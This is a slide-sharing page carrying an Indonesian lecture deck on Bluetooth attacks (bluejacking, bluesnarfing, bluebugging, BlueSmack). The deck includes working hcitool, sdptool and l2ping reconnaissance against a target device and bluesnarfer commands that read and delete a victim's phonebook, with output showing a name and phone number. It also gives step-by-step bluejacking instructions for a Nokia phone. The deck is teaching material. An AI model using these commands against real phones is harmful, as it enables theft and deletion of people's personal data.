1 / 9

BlueJacking

BlueJacking. Bluetooth. Menggunakan frekuensi 2,4GHz - 79 channel, dengan lompatan frekuensi 1600 hops/second Menggunakan "single chip radio" sehingga harganya relatif murah Memiliki "range" 10-100 Meter Menggunakan 2.5 mW Memiliki data Rate 1Mbps Bukan 802.11 !!

jayme
Download Presentation

BlueJacking

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. BlueJacking

  2. Bluetooth • Menggunakanfrekuensi 2,4GHz - 79 channel, denganlompatanfrekuensi 1600 hops/second • Menggunakan "single chip radio" sehingga • harganyarelatifmurah • Memiliki "range" 10-100 Meter • Menggunakan 2.5 mW • Memiliki data Rate 1Mbps • Bukan 802.11 !! Bluetooth IEEE 802.15.1 vs. Wi-Fi IEEE 802.11 in networking Bluetooth danWifidigunakanbanyakaplikasidirumahataupunkantor. Biasadigunakanuntukmenghubungkanjaringankomputer, transfer file, earphone, mouse, keyboard. Keduateknologiinimemakaifrekuensi yang bebasyaitu 2,4 ghz. WiFidigunakanuntukmenghubungkankomputerdalamjaringan yang dikenaldengan Wireless LAN. Berbedadenganbluetooth yang menghubungkanbeberapakonputerdandikenaldengan Wireless Personal Area Network.

  3. Kelasbluetooth : Kelas 1 ; 20 Dbm ; ~100 meter Kelas 2 ; 4 Dbm ; ~10 meter Kelas 3 ; 0 Dbm ; ~1meter Bluetooth Security threat • BluejackingTeknikinidilakukandengancaramengirimkanpesan/gambar/nomertelpontanpaijinkepada target, tujuannyaadalahmulaidariperbuatanisengsampaipada "social engineering" untukmemancing target melakukan pairing kepada "device" penyerang. • BluesnarfingTeknikinimengijinkanpenyeranguntukterhubungke "device" milik target tanpadiketahuipemiliknyadanakanmengakibatkanpenyerangdapatmengakses data datapenting yang tersimpandidalam "device" target sepertidaftarnomertelepon (bukutelepon), "business card", "images" bahkan IMEI (International Mobile Equipment Identity ) yang dapatmengakibatkannomertersebutuntukdi "clonning".

  4. BlueBuggingTeknikinimengakibatkan "device" target danpenyerangterhubungsecara serial danmengakibatkanpenyerangmemilikikendalipenuhterhadap "device" target sehinggapenyerangjugadapatmengeksekusi set perintah AT (ASCII Terminal) diantaranyauntukmelakukanpanggilan, mengirimdanmembaca SMS, melakukankoneksijaringanbahkan internet melalui "device" target sampaikepada "identity theft". • BlueSmackTeknikinimelakukanserangan Denial Of Service terhadap device target, salahsatucaranyaadalahmemanfaatkanperintah l2ping padaprotokol L2CAP. • Backdoor Attack Teknikiniadalahdenganmemanfaatkan "pairing" yang telahterciptaantara "device" target danpenyerang. MemanfaatkanKelengahan Target danTeknik social engineering.

  5. Dongle Sistem operasi : linux Perangkat ini dipakai untuk menghubungkan komputer dengan perangkat bluetooth. Sama saja seperti wireless NIC yang terpasang di komputer Dongle harus dipasang pada komputer dan kemudian lakukan pencarian perangkat bluetooh -------- Root:~$ hcitool scan Scanning ... 00:0A:D9:49:B6:8B T68i 00:0C:55:FF:F3:B6 heaven-0 00:D5:F9:33:B6:A4 dodlesvck 00:60:57:44:56:B3 6310i

  6. ------- root:~$ sdptool browse 00:0A:D9:49:B6:8B | grep Service\ Name Service Name: Dial-up Networking Service Name: Fax Service Name: Voice gateway Service Name: Serial Port 1 Service Name: Serial Port 2 Service Name: OBEX Object Push Service Name: IrMC Synchronization Service Name: Voice gateway -------- Dan kitadapatkanbahwa device tersebutmemberikan service Dial-up Networking, Fax, Voice Gateway, Serial Port, OBEX, IrMC. Ping ke target ------------ root:~$ sudo l2ping 00:0A:D9:49:B6:8B Ping: 00:0A:D9:49:B6:8B from 00:09:DD:10:4E:B1 (data size 44) ... 0 bytes from 00:0A:D9:49:B6:8B id 0 time 46.69ms 0 bytes from 00:0A:D9:49:B6:8B id 1 time 31.24ms 0 bytes from 00:0A:D9:49:B6:8B id 2 time 37.95ms 0 bytes from 00:0A:D9:49:B6:8B id 3 time 33.01ms 0 bytes from 00:0A:D9:49:B6:8B id 4 time 48.04ms 5 sent, 5 received, 0% loss

  7. BlueJacking Nokia 6600 • First press the 5-way joystick down. • Then choose options. • Then choose "New contact“ • Then in the first line choose your desired message. • Then press done. • Then go to the contact. • Then press options. • Then scroll down to send. • Then choose "Via Bluetooth“ • Then the phone will be searching for enabled Devices. • Then press "Select"

  8. BlueSnarfing ----------- root:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10 "device" name: T68i + 1 - Astried /M : 08883535266 + 3 – xxx /W : 021454545 + 4 – BBB /W : 662224258 + 5 – yyy /W : 0214545889 bluesnarfer: release rfcomm ok -------- Delete phonebook ------- root:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -w 1-10 "device" name: T68i delete of entry 1 successfull delete of entry 2 successfull delete of entry 3 successfull delete of entry 4 successfull delete of entry 5 successful bluesnarfer: release rfcomm ok

  9. Referensi http://y3dips.echo.or.id/artikel/issue15-07_bluetooth_101.txt http://www.itu.dk/~panic/projects/P2PBluetoothTracking.html http://en.wikipedia.org/wiki/Bluetooth

More Related